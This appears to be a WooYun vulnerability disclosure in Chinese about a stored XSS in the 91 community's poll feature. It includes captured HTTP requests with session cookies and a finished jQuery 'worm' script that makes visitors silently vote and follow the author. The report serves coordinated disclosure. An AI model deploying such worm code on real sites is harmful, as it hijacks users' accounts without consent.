当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018298

漏洞标题:91社区存储型XSS和XSS Worm

相关厂商:福建网龙

漏洞作者: DragonEgg

提交时间:2013-02-03 23:51

修复时间:2013-03-20 23:51

公开时间:2013-03-20 23:51

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-03: 细节已通知厂商并且等待厂商处理中
2013-02-04: 厂商已经确认,细节仅向厂商公开
2013-02-14: 细节向核心白帽子及相关领域专家公开
2013-02-24: 细节向普通白帽子公开
2013-03-06: 细节向实习白帽子公开
2013-03-20: 细节向公众公开

简要描述:

91社区某处的XSS及其XSS Worm实现

详细说明:

91社区投票处存在XSS可导致XSS worm传播
1:新建一个任意投票,然后添加选项,加入“XSS code”

.jpg


2:访问投票页面即可触发

QQ截图20130202223849.jpg


关于XSS Worm实现
思路:
自定义js文件
目标的投票功能存在xss,可以修改投票选项进行xss
一旦访问感染的js,就进行下面操作
1:
自动参加恶意投票,选择被感染的选项投票(投票的选项会自己广播出去从而进行传播)post实现

*************************************投票start************************
POST /vote/dovote/vid/433 HTTP/1.1 //433是投票id
Host: t.91.com
Proxy-Connection: keep-alive
Content-Length: 6
Origin: http://t.91.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.91.com/379610694 //379610694是用户自己的id
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SUV=1359475045777963; __utma=1.513302903.1359475333.1359475333.1359475333.1; __utmz=1.1359475333.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 0FF535D2-3733-4059-AA48-73EFB0DA00CE=376FC8AE-EA0A-4aa9-8CF8-BDCF086DAFE7=2013-01-30 00:13:04&43CB770B-ECB7-4262-9F28-474C756FA85C=836a0471-1225-473b-a62e-015e3432776a&77A7D26A-7211-4b2a-A04A-1A3F9959F179=465842840&BF191744-3205-4d76-B8FC-3E0387F7EEFE=ee21862792cf8c9d397dccb7727c7c33; mininav=0; signedip=e39aeb1b8916c86f49ac0b542f23a163; PHPSESSID=b2974cfa13861b6803838a46dcdec208; NDUserCenterLogin=8D86E0CC-3E73-4d40-B849-55E6E63F9A08=379610694&689CFFF9-7996-407d-A0DC-C834CE0B56A3=A84CB3710182FD72AC78692E174EE72E84E55E913EFF329F9600F8063BAAA2509B370B90C5B255FD348E9C38F87378FBCA440EEBE445BA32&6ACA984D-8C96-4f45-9DE4-EABE9161375B=CC92F8E0BAFA8E09F26BF1D362EB02DDA85F0603FFF3820E95D8AA64F7D3356E&C201DE9A-536B-428d-88E4-4F8665742D12=200&89FDB445-D8D5-4d19-BC3A-D1EC2BFE68E1=20130131130528&8E533C9E-481D-4288-89B2-71F96380C540=2013-01-31 14:05:28&6E3A37BE-A0BD-4b9b-87A3-3323C3806ADD=84301d8b2526e82416aa4941b0f8babd; _TM_CN_SSO_CK=1359608730; uapc=dWlkPTM3OTYxMDY5NCZzaWQ9aGJ0bGc1Z2E4aXJob3I2aTR2MWlpbHV1azUmdGlkPSZiaWQ9JmV4cGlyZT0%3D; showtip_gamecard379610694=1; 60FC5FF9-8883-207a-B0DC-C834CE0B56A3=MjAwLTg0LTc%3D; ms_nums=0; comment_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname_short=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_id=379610694; comment_user_name=594yd; u_total_score=0; u_do_score=0; u_fight=0
r=1415 //1415是选项id
*************************************投票end************************


2:
读取好友列表,向好友发送让他们参加投票的站内信(站内信传播)get获取列表,post发信

***********************************好友读取*****************************
http://t.91.com/friend/ajaxfriendlist //这是好友列表:会显示出好友的信息


好友显示出来后会继续get各个好友的头像

/center/avatar.php?uid=379454311&size=small&type=real&random=1359609442    //379454311就是好友id


*************************************发信start************************
POST /pm/sendpm/379610694 HTTP/1.1 //379610694是接收人的id
Host: t.91.com
Proxy-Connection: keep-alive
Content-Length: 31
Origin: http://t.91.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.91.com/pm/index/newpm/uid=379610694 //379610694是接收人的id
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SUV=1359475045777963; __utma=1.513302903.1359475333.1359475333.1359475333.1; __utmz=1.1359475333.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 0FF535D2-3733-4059-AA48-73EFB0DA00CE=376FC8AE-EA0A-4aa9-8CF8-BDCF086DAFE7=2013-01-30 00:13:04&43CB770B-ECB7-4262-9F28-474C756FA85C=836a0471-1225-473b-a62e-015e3432776a&77A7D26A-7211-4b2a-A04A-1A3F9959F179=465842840&BF191744-3205-4d76-B8FC-3E0387F7EEFE=ee21862792cf8c9d397dccb7727c7c33; mininav=0; signedip=e39aeb1b8916c86f49ac0b542f23a163; PHPSESSID=b2974cfa13861b6803838a46dcdec208; NDUserCenterLogin=8D86E0CC-3E73-4d40-B849-55E6E63F9A08=379610694&689CFFF9-7996-407d-A0DC-C834CE0B56A3=A84CB3710182FD72AC78692E174EE72E84E55E913EFF329F9600F8063BAAA2509B370B90C5B255FD348E9C38F87378FBCA440EEBE445BA32&6ACA984D-8C96-4f45-9DE4-EABE9161375B=CC92F8E0BAFA8E09F26BF1D362EB02DDA85F0603FFF3820E95D8AA64F7D3356E&C201DE9A-536B-428d-88E4-4F8665742D12=200&89FDB445-D8D5-4d19-BC3A-D1EC2BFE68E1=20130131130528&8E533C9E-481D-4288-89B2-71F96380C540=2013-01-31 14:05:28&6E3A37BE-A0BD-4b9b-87A3-3323C3806ADD=84301d8b2526e82416aa4941b0f8babd; _TM_CN_SSO_CK=1359608730; uapc=dWlkPTM3OTYxMDY5NCZzaWQ9aGJ0bGc1Z2E4aXJob3I2aTR2MWlpbHV1azUmdGlkPSZiaWQ9JmV4cGlyZT0%3D; showtip_gamecard379610694=1; 60FC5FF9-8883-207a-B0DC-C834CE0B56A3=MjAwLTg0LTc%3D; ms_nums=0; comment_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname_short=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_id=379610694; comment_user_name=594yd; u_total_score=0; u_do_score=0; u_fight=0
osubject=zhuti&message=zhengwen //主题和正文
*************************************发信end************************


3:
自动收听传播发起人,(统计感染数量) get方式

get  /?controller=friend&action=follow&fid=379454312   //379454312被关注人的id


以上是一开始的思路,现学了1天多js脚本,然后尝试写了一天js后台提交数据,然后在今天下午发现自己NC了。。原因在下图:

QQ截图20130202224950.jpg


QQ截图20130202225049.jpg


本来官方就有自己的函数,我擦擦擦擦。。然后找到函数所在的js文件

QQ截图20130202225832.jpg

QQ截图20130202230022.jpg

漏洞证明:

提取出相关代码,分析里面的函数功能实现方式:

***********************************doVote()投票*****************************
**省略**
function doVote()
{
var _ = art.T91_Waiting();
$.ajax(
{
url : $GLOBALS["site_url"] + "vote/dovote/vid/" + cur_vid, type : "post", dataType : "json", data : $("#voteform").serialize(), //cur_vid是所发起的投票的id,data的值就是框架所选的,即想要投的选项
success : function (A)
{
_.close();
if (A.status == 1)
{
art.tips("succeed", A.html); //成功返回消息
LoadPageMainHtml("commoninfo", $("#copyurl").val() + ((typeof reqs_from != "undefined" && reqs_from != 0) ? ("/from/" + reqs_from) : ""),
true, true)
}
else {
art.T91_TipsIcon("error", A.html); //失败返回消息
}
}
})
}
****省略*****
***********************************doVote()投票*****************************


发起的投票vid在状态栏可见,即想要投的选项的值在调试模式下可见

2.jpg


3.jpg


即data的值为“r=1482”

***********************************doAddFollow(_)关注*****************************
****省略*****
function doAddFollow(_)
{
$.ajax(
{
url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _, //变量“_”,没错,下划线是变量名,代表着要关注的人的UID,下面就是各种情况的返回消息。
success : function (A)
{
if (A.state == 1)
{
var B = $("div[name='followconcern_" + _ + "']");
if (B.length > 0)
{
if (A.follow == 1)
{
B.find("em[class='color_3']").html("\u5df2\u5173\u6ce8");
B.find("span[name='ico']").removeClass();
B.find("span[name='ico']").addClass("ico i_ygz");
B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>")
}
else if (A.follow == 2)
{
B.find("em[class='color_3']").html("\u76f8\u4e92\u5173\u6ce8");
B.find("span[name='ico']").removeClass();
B.find("span[name='ico']").addClass("ico i_hxgz");
B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>")
}
art.tips("succeed", A.msg);
delUsercard("id=" + _);
}
}
else if (A.state == 2) {
art.tips("warning", A.msg);
}
else if (A.state == 3) {
art.tips("warning", A.msg);
}
else {
art.tips("error", A.msg);
}
}
})
}
****省略*****
***********************************doAddFollow(_)关注*****************************


既然是worm,就肯定不要有各种的消息提示,所以精简官方的代码,只留下提交数据的,整合成咱们需要的js:

*************************************成品worm************************
doAddFollow1(379454311); //379454311自己的uid
window.setTimeout("doVote1();",1000); //延时1s执行doVote1(),不然有时会类似丢包的效果出现
function doVote1()
{
var _ = art.T91_Waiting();
$.ajax(
{
url : $GLOBALS["site_url"] + "vote/dovote/vid/453", type : "post", dataType : "json", data : "r=1482", //453所发起的投票vid,1482所投票的id(即存在XSS代码的选项)
success : function (A)
{
_.close();

}
})
}
function doAddFollow1(_)
{
$.ajax(
{
url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _,
success : function (A)
{
if (A.state == 1)
{
var B = $("div[name='followconcern_" + _ + "']");
if (B.length > 0)
{
art.tips("succeed", A.msg);
delUsercard("id=" + _);
}
}
}
})
}
*************************************成品worm************************


ps:刚学js,再加上最近要努力学单片机鸟,第二项功能就没继续研究下去了,可以按照投票的js代码修改一下。大家多多包涵。。

修复方案:

漏洞证明:
http://t.91.com/vote/view/vid/452/from/full

QQ截图20130202233349.jpg


修复方式你懂得,,另外求礼物啊求礼物,还有三个漏洞呦。其中1.5个也能执行xss worm,从来没有过礼物呢,求礼物啊求礼物。。O(∩_∩)O~~

版权声明:转载请注明来源 DragonEgg@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-02-04 11:05

厂商回复:

感谢DragonEgg提交的漏洞,此处漏洞先前已有类似问题提交过,已安排在修复

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-21 09:05 | MEng ( 路人 | Rank:1 漏洞数:2 | 刚接触这个领域、来学习了)

    这里面的XSS太多了。很早前都一起提交过了,不给批!

  2. 2013-04-06 19:00 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    你这个不能叫worm吧,不能划分在自动传播类型中,如果加上浏览后发表同样的含有XSS+CSRF的内容,才应该叫worm吧?

  3. 2013-06-04 16:47 | DragonEgg ( 实习白帽子 | Rank:75 漏洞数:18 | 冷漠无情的绅士,温柔善良的坏蛋。)

    @0x0F 主要是不会JS啊。。= =!